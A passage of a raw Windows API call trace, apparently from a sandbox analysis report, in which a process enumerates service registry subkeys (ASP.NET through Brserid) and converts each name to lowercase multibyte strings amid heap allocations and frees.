RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.379] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.379] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0256.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0256.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.379] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.380] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0256.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x1de4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0256.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.380] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.380] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0256.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0256.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1de44e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0256.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.380] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.380] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0256.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0256.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.380] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.380] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x1dd29e0, cchName=0x104 | out: lpName="atapi") returned 0x0 [0256.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x1de44e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0256.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.381] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.381] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.381] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.381] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0256.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0256.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1de4450, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0256.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.381] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.381] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.381] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.381] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0256.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0256.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.381] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.381] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.381] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.381] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0256.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0256.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.381] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.381] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.382] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0256.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0256.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.382] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.382] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0256.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0256.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.382] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.382] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BattC") returned 0x0 [0256.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x1de44e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0256.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.382] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.382] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0256.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0256.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.383] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.383] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.383] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.383] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Beep") returned 0x0 [0256.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x1de44e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0256.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.383] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.383] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.383] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.383] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BFE") returned 0x0 [0256.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0256.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.383] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.383] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.383] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.383] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BITS") returned 0x0 [0256.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1de44e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0256.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.384] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.384] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0256.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0256.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.384] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.384] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bowser") returned 0x0 [0256.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0256.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.384] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.384] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0256.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0256.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.384] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.385] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0256.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0256.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.385] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.385] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.385] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.385] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Browser") returned 0x0 [0256.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0256.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.385] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.385] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.385] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.385] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0256.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", 